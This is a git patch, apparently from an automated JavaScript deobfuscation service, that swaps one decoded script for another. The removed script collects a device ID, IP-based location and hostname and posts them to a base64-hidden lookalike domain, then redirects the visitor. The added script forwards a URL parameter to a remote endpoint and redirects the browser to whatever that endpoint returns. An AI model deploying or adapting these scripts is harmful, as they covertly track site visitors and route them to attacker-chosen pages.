From 3e874b37fef72a4f8d7c18d79179771d9585a63b Mon Sep 17 00:00:00 2001 From: action Date: Tue, 15 Apr 2025 05:29:25 +0000 Subject: [PATCH] Add decoded output file --- output.js | 82 +++++++----------------------------------------------- output.py | Bin 25928 -> 25928 bytes 2 files changed, 10 insertions(+), 72 deletions(-) diff --git a/output.js b/output.js index 81f185a..e600c30 100644 --- a/output.js +++ b/output.js @@ -1,74 +1,12 @@ -//Tue Apr 15 2025 05:13:08 GMT+0000 (Coordinated Universal Time) +//Tue Apr 15 2025 05:29:25 GMT+0000 (Coordinated Universal Time) //Base:https://github.com/echo094/decode-js //Modify:https://github.com/smallfawn/decode_action -function generateUUID() { - return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (_0x284b11) { - const _0x4cf9cc = Math.random() * 16 | 0, - _0x1f909c = _0x284b11 === "x" ? _0x4cf9cc : _0x4cf9cc & 3 | 8; - return _0x1f909c.toString(16); - }); -} -function getDeviceUUID() { - let _0xb6cef1 = localStorage.getItem("deviceUUID"); - !_0xb6cef1 && (_0xb6cef1 = generateUUID(), localStorage.setItem("deviceUUID", _0xb6cef1)); - return _0xb6cef1; -} -async function getUserLocation() { - try { - const _0x2a0cec = await fetch("http://ip-api.com/json/"), - _0x4c690f = await _0x2a0cec.json(); - return { - "ip": _0x4c690f.query || "unknown", - "city": _0x4c690f.city || "unknown", - "region": _0x4c690f.regionName || "unknown", - "country": _0x4c690f.country || "unknown" - }; - } catch (_0x1b893b) { - console.error("Error fetching user location:", _0x1b893b.message); - return { - "ip": "unknown", - "city": "unknown", - "region": "unknown", - "country": "unknown" - }; - } -} -async function sendRequestToServer(_0x1a424b, _0x49646d) { - try { - { - const _0x70aaa4 = await fetch(_0x49646d, { - "method": "POST", - "headers": { - "Content-Type": "application/json" - }, - "body": JSON.stringify(_0x1a424b) - }); - if (!_0x70aaa4.ok) throw new Error("Failed to send request."); - return await _0x70aaa4.json(); - } - } catch (_0x203f06) { - console.error("Error sending request to server:", _0x203f06.message); - return null; - } -} -async function main() { - const _0x344265 = getDeviceUUID(), - _0x2c66bb = await getUserLocation(), - _0x3149ea = window.location.hostname || "localhost", - _0x1d4b01 = { - "uuid": _0x344265, - "ip": _0x2c66bb.ip, - "city": _0x2c66bb.city, - "region": _0x2c66bb.region, - "country": _0x2c66bb.country, - "clientDomain": _0x3149ea, - "timestamp": new Date().toISOString() - }, - _0x3d099c = "aHR0cHM6Ly9jbG91ZGZsYXJzZS5jb20vbG9n", - _0x3d80ba = atob(_0x3d099c), - _0x54bb42 = await sendRequestToServer(_0x1d4b01, _0x3d80ba); - _0x54bb42?.["redirect"] && setTimeout(() => { - window.location.href = _0x54bb42.targetUrl; - }, 2000); -} -main(); \ No newline at end of file +if ($_GET.dd) { + const httpRequest = new XMLHttpRequest(); + httpRequest.open("POST", "https://service-mapxuh3j-1304283708.bj.apigw.tencentcs.com/api/read"); + httpRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); + httpRequest.send("dd=" + $_GET.dd); + httpRequest.onreadystatechange = function () { + httpRequest.readyState === 4 && httpRequest.status === 200 && (self.location.href = httpRequest.responseText); + }; +} else self.location.href = "https://www.qq.com"; \ No newline at end of file diff --git a/output.py b/output.py index b692bd88aabe52806fc14f66b93750c86e876e6c..a46893dcea91e9a0cbe184abe705ecd100618fa4 100644 GIT binary patch delta 30 lcmX?cit)rLMqy